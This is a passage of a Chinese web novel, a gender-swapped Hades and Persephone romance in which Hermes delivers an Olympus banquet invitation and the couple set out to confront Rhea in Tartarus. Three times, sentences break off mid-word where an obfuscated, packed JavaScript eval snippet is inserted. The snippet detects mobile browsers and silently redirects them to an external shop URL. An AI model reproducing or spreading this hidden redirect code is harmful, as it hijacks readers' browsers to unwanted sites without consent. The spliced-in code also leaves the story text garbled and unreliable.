“来日方长。”所以这时的哈蒂丝如此说道,然后再次行动起来,“现在,你得更加努力。” 他就如同待摘的果实,想要由她木窄干。 “好噢。”珀瑟福眉眼弯弯,心跳狂乱,“我都听你的,哈蒂丝。” 所以,我亲爱的姐姐。 你会承受更多这炽热的爱意。 很久之后,满屋活泼生长的藤蔓终于停止扩张,安静地攀附在墙壁与床柱上,点缀其间的鲜艳花朵也不再肆意蔓延,仿佛一幅充满勃勃生机的精美壁画。 不如就这样吧,寝殿换个装修风格没什么不好,反正也挺好看的。 而且冥王宫已经被重新注入了属于冥王的神力,防御屏障历经千年终于换新,没有她的允许谁也无法踏足而入。 当然,除了她信赖的心腹们。 某个家伙也是例外。 哈蒂丝刚换上一件新的银线黑袍,珀瑟福便从身后而来,下巴搁在她的肩头,手臂环住她的腰肢,那高大健壮的身躯慵懒地紧贴着她。 他没再提及明塔,也未提及那对黑曜石耳坠,只是蹭了蹭她的颈侧,声音里带着餍足后的懒散:“姐姐,为什么你闻起来这么香?” 亲昵的称呼又换了回来。 狡猾的小鬼,他知晓她爱听。 “我用了你的花蜜。”哈蒂丝随口答道,由着他腻歪。 她太过纵容他,这份纵容里掺杂着新奇与心动,享受沉沦的感觉已经不再使她感到担忧。 与珀瑟福在一起时,那些她早已习惯了千万年的沉重孤寂,似乎被这旺盛的生命力短暂地驱散了。 赫卡忒和忒弥斯还会来继续劝说她吗? 哈蒂丝靠在珀瑟福的怀里,陷入了深刻的沉思。 就在这时,寝殿外传来一阵由远及近的、刻意放轻的脚步声,接着敲门声便响起了。 哈蒂丝手指微动,随即修普诺斯就知道了她已经醒来,那带着浓浓困意的声音隔着门扉响起。 “陛下,赫尔墨斯又来了。” 这家伙总是一副永远也睡不醒的样子,比她还嗜睡,不愧是她当初亲自挑选的亲信。 “据说是神王陛下又要举办一场宴会,在奥林匹斯圣山,意欲邀请您与珀瑟福同去。” 嗯?又是奥林匹斯宴会?还让我俩一起去? 哈蒂丝与珀瑟福同时一顿。 珀瑟福眯起眼睛,里面闪过怀疑和玩味。 他的手臂收得更紧了些。 “停止。”哈蒂丝拍了拍珀瑟福的手背,示意他松开,然后扬声道:“让赫尔墨斯在主殿等着,我稍后就过去。” “是。” 寝殿外,修普诺斯打着哈欠离开了。 哈蒂丝转头,看着正低头不知道在想些什么的珀瑟福。 他已经听话地放开了她,手指却还附在她的大腿上,掌心温热。 “他们就是想看热闹。”珀瑟福说道,语气带着点儿闷闷不乐。 为什么会闷闷不乐呢?他还想到了什么? “可能他们更想见见你。”哈蒂丝不禁微笑起来,因为春神很可爱,“上次宴会你是主角,但我却带走了你。” “那不一样,而且我是自愿跟着你的。” “所以这次宴会你想去吗?” “……”珀瑟福沉默了片刻,然后抬起头来,与哈蒂丝对视,“如果你想去的话。” “不,我是在问你自己的意见。”哈蒂丝忍不住戳了戳他的额头。 他伸手摸了摸自己的额头,上面留有她的温度,虽然冰凉,却令他心安。 “去。”珀瑟福回答道,并握住了哈蒂丝的手腕,“我得打断某些家伙的非分之想,让他们都知道你属于我。” 所以他果然还是很在意明塔吗? 这也能扯上关联吗? 哈蒂丝无奈道:“就算其他冥神都会参加那场宴会,明塔也不会跟我们一起去的。” “不止那个讨厌的笑面虎。”在陷入热恋之后,珀瑟福给自己立了很多假想敌,“……嗯?你很了解明塔?” 听到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964869|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句问话,哈蒂丝感到莫名其妙:“我跟你说过,他是我的老朋友。” …… 等等,他怎么忽然笑了? “是啊,亲爱的姐姐。” 珀瑟福倾身而来,唇贴于哈蒂丝的耳侧,灼热的呼息喷洒在她苍白的皮肤上。 那如沐春风般的笑容带着肉眼不可看见的阴霾,源自嫉妒与独占欲作祟。 纵使尝到数次甜头,他也无法彻底心满意足。 “既然姐姐选择了我,那就必须得对我负起责任来。”珀瑟福的唇齿来到了哈蒂丝的脖颈间,轻轻一咬,留下显闰的痕迹,“但我不会让你感到为难。” ——所以,如果那家伙再敢对我耀武扬威,我会亲手将他制裁,然后践踏于脚下。 不止明塔会作伪装,珀瑟福也拥有多重面具。 珀瑟福认真地注视着哈蒂丝。 “姐姐应该不会辜负我的期待吧?” “……” 不知为何,哈蒂丝总觉得珀瑟福这番话意有所指。 “当然。”她面露真挚道,“我已经向你许诺过了,亲爱的。” 得到如此回应后,珀瑟福才放下了心间的那些阴暗想法——若是不怀好意者日后还会蠢蠢欲动,那这肯定只会是暂时的。 而现在,他温柔地拥抱了她,将自己埋进她的怀里。 “姐姐真好。” 珀瑟福边感受着哈蒂丝的心跳节奏,边充满眷恋的向其倾诉爱意。 “我爱你,永远。” …… ……他还是这么喜欢黏她。 与此同时,冥王宫主殿厅堂内,赫尔墨斯等了许久都未见冥王陛下与春神,不免无聊到跟修普诺斯聊起天来。 “德墨忒尔真那么说了?”修普诺斯边轻捻着在这里也长有的鲜艳花朵,边好奇地询问道,“哇,珀瑟福这么‘不受待见’啊?” “是呀是呀!”赫尔墨斯小嘴叭叭个不停,“你也知道珀瑟福那不知道继承于谁的性格,德墨忒尔原本想把他多往冥界塞段时间的,父神决定举办这场宴会时她还不乐意呢,说什么父神是在没事找事,打扰人家小情侣培养感情!” “那上次宴会……” “这你就有所不知了~”赫尔墨斯神神秘秘地凑近过去,悄悄地说:“蓄·谋·已·久——懂我意思吧?” “看出来了。”修普诺斯啧了一声,“那小子可能比明塔还麻烦。” “对了,珀瑟福应该没找明塔麻烦吧?他来时我就觉得他肯定还……嗯,你知道的!” 却未料,修普诺斯若有所思地摸了摸下巴,像是回想起了什么。 “你是指明塔窗外的那片向日葵?” “啊?”赫尔墨斯惊呆了,“不是,珀瑟福居然还真敢呐?” 他就不怕明塔跑去跟瑞亚殿下告状吗? “我倒觉得他们俩是在互相找麻烦,明显势均力敌啊。”修普诺斯笑了,“明塔没有除掉那些向日葵,你猜猜以后会发生什么?” “不好说……不过,哈蒂丝陛下看起来明显更加钟意珀瑟福,真不知道明塔到底在想什么……” 赫尔墨斯咽了咽口水,为珀瑟福捏了一把汗,毕竟他曾从父神那里听说过明塔的手段。 这哭河之子在推翻二代神统治之战中,可是表现得极其心狠手辣啊。 “嘿!两位!我知道他在想什么~” 突然间,天花板处传来纷争女神的声音。 赫尔墨丝和修普诺斯抬头望去。 “你怎么在这儿?” 厄里斯斜靠在巨大的银水晶吊灯上,单手撑脸,笑眯眯地向他们招了招手。 “陛下同意的,怎么啦?”厄里斯把玩着自己垂落胸前的蓝发,几乎全黑的瞳眸中闪烁着诡异的光芒,“好啦,让我们回归正题,明塔肯定正在想办法除掉珀瑟福呢!” “……” 还不如先除掉那些向日葵。 赫尔墨斯在内心想着。 因为他曾见识过——珀瑟福的心狠手辣可是完全不输于明塔的诶。 13.第十三章 “谁要除掉我?” 听到这另一道熟悉的声音从入口处传来,赫尔墨斯、修普诺斯和厄里斯皆是看了过去。 冥王与春神一前一后走来,面色是如出一辙的冷淡,真不愧是准两口子。 赫尔墨斯立马立正。 好家伙,主人翁们终于到场了! “哈哈哈,你不是已经听到了嘛,肯定是明那哭河之子呀~”厄里斯的欢笑声从吊灯上传下。 啧,一来就烦得不行,又是那个妄图抢走他挚爱的老古董。 珀瑟福不语,只是一味地跟在哈蒂丝身后。 到底是谁除掉谁?他可真是太期待了。 似乎是察觉到了珀瑟福的不爽心情,哈蒂丝回眸看了看他,却只见到那双翠绿色的眼眸弯了弯,有光芒在其中闪烁。 ——怎么了?亲爱的。 珀瑟福朝哈蒂丝笑了一下,看起来还是那个温柔可爱的春神。 但哈蒂丝知道刚刚并不是自己的错觉,因此她主动牵起珀瑟福的手,带着他踏上足有九层的台阶。 她本就愿意让他进入自己的领域。 “……” 即便哈蒂丝没有说话,然而珀瑟福还是内心受到触动,感觉被安抚到了。 果然,他就是爱着这样的她。 与此同时,那带着从奥林匹斯圣山之上消息而来的神使开口了。 “日安!尊贵无比的冥王陛下!还有珀瑟福!”赫尔墨斯语速极快,行礼的姿势标准得过分。 哈蒂丝颔首,在自己的王座上坐下。 她一手撑着脸颊,一手被珀瑟福轻柔地握住,他跪坐在她王座边,温顺乖巧的模样完全不似面对某些家伙时的嚣张邪恶。 赫尔墨斯越来越觉得哈蒂丝调教有方,内心暗暗感叹爱情的力量真是伟大。 “听说这次又是宙斯要在奥林匹斯圣山举办宴会?”哈蒂丝瞥了正用脸庞蹭着她那只手的珀瑟福一眼,见他发顶有根呆毛,不由愣神了两秒。 好可爱。 她心里想道。 “是的,就在两日后,而且情况特殊。”赫尔墨斯连忙从怀里掏出一卷散发着淡淡金光的羊皮卷轴,双手奉上,“不止是父神,赫拉殿下、海皇陛下、赫斯提亚殿下、阿佛洛狄忒和阿波罗……嗯,总之几乎是全体神祇联名发出的邀请!” 羊皮卷轴飞往高阶之上的王座,被冥府女王稳稳接住。 她打量着它,目光停留在上面流光溢彩的宝石处,从中辨别出了熟悉的气息。 啧……看来事情远远没有想象中的那么简单,这场宴会分明就是个圈套。 是那位专门为她而设的圈套。 赫尔墨斯偷偷抬眼观察了一下冥王陛下的反应。 幸好她表情平淡,没有什么负面反应。 “请您务必再次驾临圣山,当然还要带着珀瑟福,参加这场补办的欢庆宴会,以示隆重!” 神使顿了一下,假装没有注意到珀瑟福闻言投来的审视目光。 “其实您也是相当清楚的,上次宴会……咳咳,而且您跟珀瑟福……咳咳咳!” 所以到底在咳什么? 珀瑟福挑了挑眉:“赫尔墨斯,要是感觉口干舌燥就多喝点水,需要我去给你接一杯来吗?” 让春神给他接水?开玩笑,万一这家伙往里面放了什么糟糕的东西怎么办? 虽然这家伙在冥王陛下面前装得要多乖就有多乖,可他是完全知道对方的本性是超级恶劣的! “那还是算了吧,珀瑟福。”赫尔墨斯心虚地挠了挠后脑勺,视线游移,“这不是在大庭广众之下嘛,哎呀,肯定还是要多注意一些的~” “可我觉得没必要呀,赫尔墨斯。”厄里斯笑嘻嘻地插话道,并不觉得自己这是在捣乱,“现在谁不知道那些事情?” 修普诺斯手抚着脸,企图遮住自己嘴角的笑意。 赫尔墨斯没好气地说:“你今天怎么不去跟赫卡忒待在一起?还跑这来……” 厄里斯笑得更加开心了:“我就乐意,怎么啦?哪里有趣我就爱往哪里来!” “厄里斯。” 哈蒂丝淡淡地开口,气势十足,使得那捣乱的纷争之女瞬间举手投降、乖乖闭嘴。 她这才继续话语:“补办?欢庆?说得像是之前留有遗憾似的。” “是啊,您猜对了,就是遗憾——大家的遗憾!”赫尔墨斯接着冥王的话语顺杆爬,眼睛溜溜地转,努力让自己的表情显得真诚无比,“最重要的是,陛下您想想看,上次宴会的主角珀瑟福……咳咳咳,您知道的,总之绝大多数神祇都未能一睹他的风采,因此深感惋惜,尤其是爱与美的阿佛洛狄忒,她为此叹息到了如今,说这是本世纪奥林匹斯最大的美学损失!” 这借口找得可真是清新脱俗啊。 哈蒂丝几乎能想象出阿佛洛狄忒说这话时笑得花枝乱颤的模样。 珀瑟福将哈蒂丝的手放下,趴在她大腿上轻笑了一声,说道:“你是指这次宴会的主角还是我?” 谁信啊,大家分明就是想围观他跟哈蒂丝姐姐的恋情进展吧,真当他俩不知道呢? “对对对!”赫尔墨斯昧着良心点头,又赶紧补充:“毕竟上次宴会……咳咳!” 珀瑟福:“再咳一声试试看呢?” 赫尔墨斯又立正了。 ——混蛋珀瑟福,完全忘了我之前是怎么帮你的了是吗?! 其实神使的意思已经表达得很委婉了,闲得发慌的诸位神祇就是想组团围观冥王和春神的恋情进展。 而春神能让千万年来都如同冰雕般未曾对谁动心,还洁身自好的冥王干出那种事……奥林匹斯众神已经很久没如此大开眼界过了。 当然,目睹被德墨忒尔藏了许久的春神风采也算在目标内,只是显然没有冥王转性之事来得震撼。 哈蒂丝感到一阵熟悉的头疼,她讨厌喧闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975407|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更讨厌成为被围观的对象。 上次是被宙斯半威胁着去的,这次…… 想起在来之前自己与珀瑟福的那番交谈,哈蒂丝叹了一口气。 就这样吧。 哈蒂丝在内心暗暗这么想道。 况且,母亲绝对吩咐明塔去过奥林匹斯圣山,她得就着这事好好问问宙斯。 正当哈蒂丝准备为这场谈话结尾之时,珀瑟福忽然伸手摸上那羊皮卷轴。 他没有把它打开,却已经知晓里面都写着什么内容。 “明塔也要去?”珀瑟福似笑非笑。 “……” 哈蒂丝握紧卷轴,手指扣住那光芒闪烁的银色宝石,转瞬间却又松了开来。 而无言关注场面的修普诺斯和厄里斯则是双双挑眉,觉得事情绝非表面看上去那么简单。 “当然,其他冥神都可以去,这是我们大家的盛宴~”赫尔墨斯更心虚了,但面上还是非常真挚诚恳的笑容。 “你接下来是不是准备向我申请进入塔尔塔洛斯?”哈蒂丝再度开口,冰冷的视线紧盯高阶之下的神使。 赫尔墨斯被噎住了。 他觉得自己好惨噢,明明只是个传信的,结果被迫夹在几尊大神之间各种难做。 “诶嘿~”赫尔墨斯扯着头上的翼帽,内心强大地继续维持笑容,“是这样的,陛下。” 呵,果然如此。 她就知道又是这样。 哈蒂丝把羊皮卷轴交给珀瑟福,然后站起身来,黑袍于幽蓝磷火的映照下显出幽灵般的阴影。 见状,珀瑟福也站起身来,高大健壮的身躯守候在她身侧。 那就犹如忠心耿耿的守护者一般。 “不必了。”哈蒂丝冷声说道,“我亲自去找她。” 这场即将到来的盛宴不止是为了让众神关注冥王与春神的恋情进展。 是留在塔尔塔洛斯已久的瑞亚亲自策划了它,并且这绝对算不上是好事,因为其一直都想让明塔成为哈蒂丝的永恒伴侣。 连赫卡忒和忒弥斯都曾劝阻她放弃珀瑟福,而她们在二代神活跃时期与瑞亚同心。 哈蒂丝搞不懂母亲究竟在想些什么,所以她得亲自去找她,直接当面问个清楚。 她们明明是母女,曾经一起经历过战争,现在还都居住在冥界,可彼此之间的隔阂却已经深到如此地步。 “好吧,辛苦您了,全世界最好的冥王陛下! 赫尔墨斯见哈蒂丝一副心意已决的模样,便没有再说什么。 修普诺斯打了个哈欠,困得眼角泛起泪花,心里默默怜爱自家陛下,这天天遇到的都是什么糟心事情。 而靠在水晶吊灯上已久的厄里斯则是目不转睛地盯着下方的春神。 她司掌着纷争,对混乱与邪恶一向热爱,因此感知到了那善于伪装的美少年的恶意。 在此刻,珀瑟福眼神阴冷,心中再度生出毁灭之欲 14.第十四章 气氛似乎变得有点儿不对劲起来。 赫尔墨斯立刻脚底抹油。 “既然消息已经传到,我就不打扰几位了!告辞!”他话音还未落,带翼凉鞋就已经划出金色轨迹,转眼间便消失在了厅堂门口。 这家伙还是一如既往,跑路速度是真快。 修普诺斯慢悠悠道:“看来我是又没法补觉了,厄里斯,要下注吗?赌陛下和珀瑟福这次去奥林匹斯会引发几场混乱。” 是的,倪克斯家族的孩子们都喜欢打赌,跟居住在奥林匹斯圣山之上的某些神祇相似。 就算孪生弟弟塔纳托斯目前不在,修普诺斯也不会放弃这个乐趣。 厄里斯从吊灯上一跃而下,猩红色长裙宛如在空中绽开的玫瑰花一般。 “我赌至少三场~”纷争女神掰起手指继续说道:“阿佛洛狄忒肯定会带头起哄,宙斯绝对要灌酒,波塞冬八成会提议什么陛下的结婚庆典……噢对了,明塔肯定也会整出动静来!” 言语间,她眸中余光好似不经意地暗暗瞥向某位,嘴角勾起的弯弧带着恶劣意味。 啧,怎么又提到了那个烦得不行的老古董? 不过…… 珀瑟福原本阴沉的脸色忽然转晴,露出笑容:“有趣。”他目光转向哈蒂丝,眼睛亮得吓人,“亲爱的,我们给他们准备点儿惊喜,怎么样?” 哈蒂丝斜睨了他一眼:“比如?” “比如……”珀瑟福凑近她耳边,声音低得像是在分享一个邪恶计划,“在宴会厅种满食人花?或者让宙斯的王座长满荆棘?再不然——” 宙斯?让他的王座长满荆棘?那珀瑟福的胆子是真大。 不过话又说回来,哈蒂丝在脑海中想象了那个场面,竟觉得还挺美丽。 她一定是被他给带坏了。 “停。”哈蒂丝抬手抵住珀瑟福越凑越近的脸,掌心碰触到了温热与柔软,“你是春神。” 受不了,她真可爱。 就连说出来的话也是如此。 “可我是你的春神啊。”珀瑟福理所当然地说道,顺势在哈蒂丝的掌心亲了一下,“帮你出气是我的本职工作。” 哈蒂丝愣了愣:“出气?” 珀瑟福看起来更加理所当然了:“是啊,你不是讨厌那两日后的宴会吗?” 哈蒂丝沉默了几秒,随即轻笑出声。 “你真可爱,珀瑟福。”她这么说道,“等会儿跟我一起去塔尔塔洛斯吧。” 太好了,他与她之间心意相通。 “谨听您的命令。”珀瑟福笑意盈盈地牵住了哈蒂丝的右手,“这算见家长吗?亲爱的哈蒂丝姐姐。” 珀瑟福明明知道瑞亚可能对他并无好感,然而在此刻,他还是忍不住说出了那种话。 “算是吧。”哈蒂丝纵容了他偶发的调皮。 “真棒,我一定会好好表现的!” “好。” “包括那场宴会!” “好好好。” 所以,他们俩就光顾着在那儿腻腻歪歪了? 是不是还忘记了什么呢两位? 修普诺斯捂着眼睛转过身去:“没眼看,真是没眼看啊。” 要是现在塔纳托斯在这儿就好了,他肯定会说这比听到卡喀亚狂笑还令神不适。 厄里斯却兴奋地直拍手:“我觉得珀瑟福的主意很不错诶~珀瑟福我支持你!让那帮闲得发慌的家伙见识见识咱们冥界神祇的威力!” 是的,在以厄里斯为首的一些冥神眼里看来,珀瑟福已然算是冥界的一份子了。 想必在私底下肯定早已有冥神讨论过,关于他们家陛下到底多久会跟这位来自大地的春神结婚的话题。 可赫卡忒和忒弥斯的态度却很微妙…… 唉,光是想想就觉得好麻烦。 哈蒂丝揉了揉太阳穴,她开始认真考虑是不是该带着珀瑟福把寝殿搬到冥界最偏僻的角落,最好是连双子神和赫尔墨斯都找不到的那种。 不过,那明显是逃避的行为。 正在这时,珀瑟福询问道:“需要我带伴手礼吗?比如那种会尖叫的曼陀罗草?” 虽然瑞亚是为明塔那家伙撑腰的,可对方毕竟是哈蒂丝的母亲。 很明显,珀瑟福想要不惜一切与自己的挚爱修成正果。 在听到那番问话后,哈蒂丝按揉太阳穴的动作顿了一下。 他是什么时候打听的她母亲的喜好? 因为瑞亚喜欢园艺。 “不需要,她也喜欢安静。”哈蒂丝放下左手,视线聚集在自己那被珀瑟福握住的右手上,“而你显然不是这个类型。” 这也太绝对了吧? 虽然,她说的确实没错。 “我可以装。”珀瑟福眨了眨眼,“为了你,我能装成任何模样,连修普诺斯那种经常犯困的类型都可以。” 被点名的睡神无奈地摇了摇头:“我说,您们二位之间的话题别把我扯进去啊。” 厄里斯幸灾乐祸:“他还漏掉了你的其它特点,比如工作时翅膀会莫名其妙地自己飞掉。” 修普诺斯:“……” 珀瑟福又眨了眨眼:“或者是厄里斯那种挑拨纷争时连自己都不放过的类型。” 厄里斯:“嘿!那怎么了?我自己可是乐在其中!” 修普诺斯:“……噗。” 有一点不得不说,在融入冥界这方面,珀瑟福确实做得还蛮好的。 咳,当然,某三位判官被他气到和刻耳柏洛斯被他教育之事不包括在内。 “那就继续装吧,小家伙。” 哈蒂丝笑着捏了捏珀瑟福的脸颊,然后走下台阶,径直朝厅堂外走去。 得去找母亲了,最好速战速决。 “等等我!”珀瑟福快步跟上,“而且我不小了,姐姐!” 是吗?那又为何要称呼她为姐姐? 他总是在这种小细节上讨好她。 再说了,对于已经在世间存在了很久的冥王来讲,新生的春神确实还是个小家伙。 但他能为她提供美好价值,那便足矣。 待珀瑟福与自己并肩同行后,哈蒂丝瞥了他一眼,提醒道:“到了塔尔塔洛斯后别乱说话。” “保证不说不该说的。”珀瑟福认真地回应。 “最好不说。” 哈蒂丝担忧母亲见到珀瑟福后会被惹恼。 可她还是要带着他一起去,只因她心中早已作出选择。 瑞亚怀揣着克洛诺斯那样的掌控欲,认为明塔才是哈蒂丝的最佳伴侣——那又如何? 她会让她明白自己的决心。 而耳畔还传来他的言语。 “那多没意思。”珀瑟福撇嘴,随即又想到了什么,斟酌着说道:“不过,毕竟是去见姐姐的母亲……” 目光触及到哈蒂丝认真倾听的面容,珀瑟福停顿了一下,眉眼不自觉地变得柔和起来。 在还年幼时,他曾经听说过冥王是位冷酷无情的女神,不仅统治着永恒黑暗的地下国度,还对令众神闻风丧胆的塔尔塔洛斯拥有绝对支配权。 而在过去那推翻二代神强权的战争中,她是奥林匹斯神阵营的强劲主力——每每听闻这些传说,他都忍不住幻想她在战场上游刃有余地嗜血厮杀的模样,那一定相当英姿飒爽、强大而又可怕。 春神从第一眼见到冥王后就再也无法忘记她,因而不停地追随着她的影子,直至现在终于能够光明正大地站在她的身边。 然后他便发现了有关她的更多,令自己愈加迷恋她。 那是很正常的事情吧? 因为她就是这样无与伦比的美好存在。 在春神这里,冥王的所有一切都是最好的。 “我会尽量做到让瑞亚女神对我刮目相看的。”珀瑟福露出了与哈蒂丝同款的认真表情,“需要我换身打扮吗?或者把头发染黑?那样会跟你更像。” 哈蒂丝又笑了:“你是想讨好我母亲?” 珀瑟福的回答毫不犹豫:“不,我是想讨好你。” 油嘴滑舌,还真是他一贯的作风。 “不,你就维持原样吧,这才是最好的。” “真的?” “真的,我喜欢。” 听到这话,珀瑟福高兴极了,翠绿色的眼眸内闪烁着喜悦之光。 他果然最爱这样的她了。 “那你喜欢我哪一点?是外表还是性格?那些藤蔓也——” “是你闭嘴的时候。” 哈蒂丝有些无奈。 怎么就忽然扯到了那些东西? “好的。”珀瑟福乖乖地闭嘴了三秒,然后又开始嘀咕:“可是如果这样做的话我该怎么亲吻你呢?真是大难题啊……” 所以说,别乱扯话题啊,可爱的小家伙。 哈蒂丝决定暂时放弃跟珀瑟福沟通,任由他自己在喜悦中越扯越远。 两神穿过长长的回廊,沿途遇到了拉斯帕德斯姐妹,她们是赫卡忒的侍女,最近被哈蒂丝调来守卫冥王宫。 拉斯帕德斯姐妹眼见结伴而行的两位,纷纷行礼,然后互相交换了眼神。 ——我就说嘛,陛下肯定是真打算要认真对待这段感情! ——不,俄耳菲涅,我还是觉得明塔大人更胜一筹。 ——对呀,咱们家陛下以前跟他关系可好啦~ “……” 珀瑟福眼神暗了暗。 那老古董给冥神们的印象这么深刻?真是恶心啊,长久以来就像是甩不掉的脏污一样对哈蒂丝姐姐纠缠不放。 恶心,简直就是附骨之疽。 珀瑟福脾气虽好,可这仅限于对特定者。 他读懂了拉斯帕德斯姐妹的无声交流,脸上微笑依旧,它的温度却骤降。 似有狂风暴雨正在那双明明应该清澈温柔的翠绿色眼眸里酝酿,他放开了哈蒂丝的手,然后食指动了动。 于是,哭河之子厄运将临。 老古董该庆幸今天出门没遇见他,否则他会做得更加过分。 “怎么了?”哈蒂丝注意到了珀瑟福的小动作,侧眸看去,“你做了什么?” “没什么,只是他今天回屋时会迷失在那片向日葵里。”珀瑟福一副若无其事的样子,没有对她隐瞒自己的坏心眼行为。 哈蒂丝停住脚步,蹙起了眉头:“收回它。” 为什么?因为你在关心明塔那个无耻之徒吗? 珀瑟福不禁在心里这么想着。 不行,绝对不能这样…… “那只是个小恶作剧,姐姐。”珀瑟福说道,语气像是在撒娇,“而且他最后会出来的。” 但哈蒂丝只是无言地看着珀瑟福,直到他败下阵来。 “对不起。” 好吧,他不该令她失望。 珀瑟福收回了自己那所谓的小恶作剧,然后俯身,轻轻地在哈蒂丝的脸侧亲吻了一下。 她身上的温度依然冰凉,宛若永不融化的冰川。 “我会听你的话,亲爱的。” 见状,哈蒂丝这才微微颔首,继续往前方走去。 不知她是否心事重重,并没再对他说话。 珀瑟福突地感到不甘心。 这种滋味并不好受,因此他更加厌恶明塔,想要将其撕烂的心情再次出现于心间。 即便哈蒂丝与明塔有整整三千年未见,那个老古董也在她心中占据了重要地位,这可真是太令珀瑟福不安了。 他不愿见到她如此维护那碍眼的家伙。 他迫切地需要去做些什么,以此稳定自己作为她恋人的地位。 到底应该怎么做才好呢? 这回珀瑟福行走在了哈蒂丝的身后,在短短的距离间,眼神阴暗地盯着她的背影。 在冥王宫之后便是一条幽深小径。 此处道路险阻,没有冥神和幽灵,连冥界随处可见的磷火也变得稀少,氛围十分恐怖。 要抵达地狱深渊就必须得穿过这个地方? 珀瑟福跟着哈蒂丝往里走,仿佛在走一条永远没有尽头的道路,直到眼见一轮鲜血般猩红的圆月出现在树顶。 前方终于传来她的言语。 “珀瑟福。” “嗯?” 珀瑟福目不转睛地看着圆月下的传送阵,它大得仿佛没有边界,表面是光芒黯淡的复杂符文,周边还刻画有精致但诡异的花纹。 这令他联想到了举办秘密仪式的女巫集会。 看来传送阵是赫卡忒的杰作。 它能通往塔尔塔洛斯。 “如果母亲说了什么不中听的话,你不用为此隐忍。”哈蒂丝的言语再度传来。 她侧头看他,而他已经来到了她的身边。 珀瑟福露出了笑容,看似真实而柔软,如同他这只为她跳动的心脏。 真好,现在她在关心他。 “我原本以为你会让我多忍忍,姐姐。” “让你忍的结果就是你在明塔窗外种满了向日葵。”哈蒂丝平静地说,“而且,上次刻耳柏洛斯的事我也还记得。” 哇哦。 虽然又提及了某个该死的家伙,可珀瑟福喜欢听她说记得他的事情。 “是刻耳柏洛斯先挑衅我的。”他直接避开了明塔相关的话题。 其实真相并不是刻耳柏洛斯先挑衅的,当时是珀瑟福玩瘾犯了,肌肉记忆般想要跟这与拉冬血脉相连的怪物战斗一番。 在以前,德墨忒尔骗过他只有成为像阿波罗那样百战百胜的打怪专家,才能再见哈蒂丝。 但她不曾知晓他的执念。 “你知道刻耳柏洛斯的职责。” “可它很凶,我只能选择自保。”珀瑟福又换上了委屈巴巴的表情,然后拥抱哈蒂丝,将温暖的脸埋在了她的颈间,“姐姐也不想看到我受伤吧?” “并且我也早已向它道过歉,还送了它漂亮的花环。” 这样的春神确实过于诱惑,哈蒂丝没招了,心软地抬手抚摸着珀瑟福的脑袋,手指插在他柔软的浅金色发丝间。 她心里清楚他在那时分明就是沉浸于与刻耳柏洛斯的战斗,因为亲眼见到了他在打败它后的兴奋神情。 “算了,以后别再那样就行。”哈蒂丝无奈道,“顺带一提,那花环确实漂亮,就像你一样。” 闻言,珀瑟福睁大眼睛,有种被哄好的感觉。 他忍不住又亲吻了她,唇舌交缠间带起暧昧的声响。 “我好喜欢你夸我。”珀瑟福开心极了,从猫咪变成了小狗,开始朝自己的主人疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983436|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂摇尾巴,“以后可以多夸夸我吗?爱你,姐姐。” “好。”哈蒂丝勾起嘴角,心情愉悦,“但现在,我们该进去了。” 话音刚落,血月渐渐变弯,传送阵的暗光随之明亮起来,耀眼至极。 哈蒂丝牵起珀瑟福的手,带着他踏入这巨大的传送阵内。 顷刻间,两神皆身感往下坠落。 再眨一眨眼便就已经抵达地狱深渊。 塔尔塔洛斯的气息扑面而来,是比冥界更深沉的死寂,混杂着古老神力的威压与永恒囚牢的压抑。 世间众生皆以这位创世神之名恐吓与诅咒别者,而其的本源是肉眼可见的恐怖,传说扭曲而又血腥。 珀瑟福原本以为塔尔塔洛斯会是一片血狱,但入目之处只有伸手不见五指的黑暗,从某种层面来说还算是挺有其独特风格的。 黑暗啊,其实并不可怕。 因为有她在。 珀瑟福握紧了哈蒂丝的手,转瞬间却又放松了力道。 他纯粹是讨厌这种怪异的环境,塔尔塔洛斯排斥太过旺盛的生命力,连他袖口悄悄探出的一小根藤蔓都瞬间萎靡了。 “难受?” 纵使眼前一片阴沉的漆黑,哈蒂丝也察觉到了珀瑟福那细微的变化。 “嗯,像是被塞进了沼泽中的棺材。”珀瑟福诚实地回答,可随即又笑了,“不过只要牵着你的手就好多了。” “顺便一提,这里的风景真是糟糕至极。” 这应该就是……赤裸裸的抱怨吧? 也难怪,即使春神拥有多重面具,那也还是春神。 哈蒂丝没有反驳珀瑟福的那句评价。 塔尔塔洛斯是囚禁罪大恶极者的牢狱,确实算不上是什么好地方,即使这里属于她的领域。 “看到那里的阶梯了吗?”哈蒂丝问。 嗯?所以这个地方不是地狱深渊的全部。 “哪里?”珀瑟福歪头,“这次我可真是什么都不知道。” “没关系,有我在。” 哈蒂丝牵起了珀瑟福的手。 好棒。珀瑟福心想。他似乎能看见她被逗乐了。 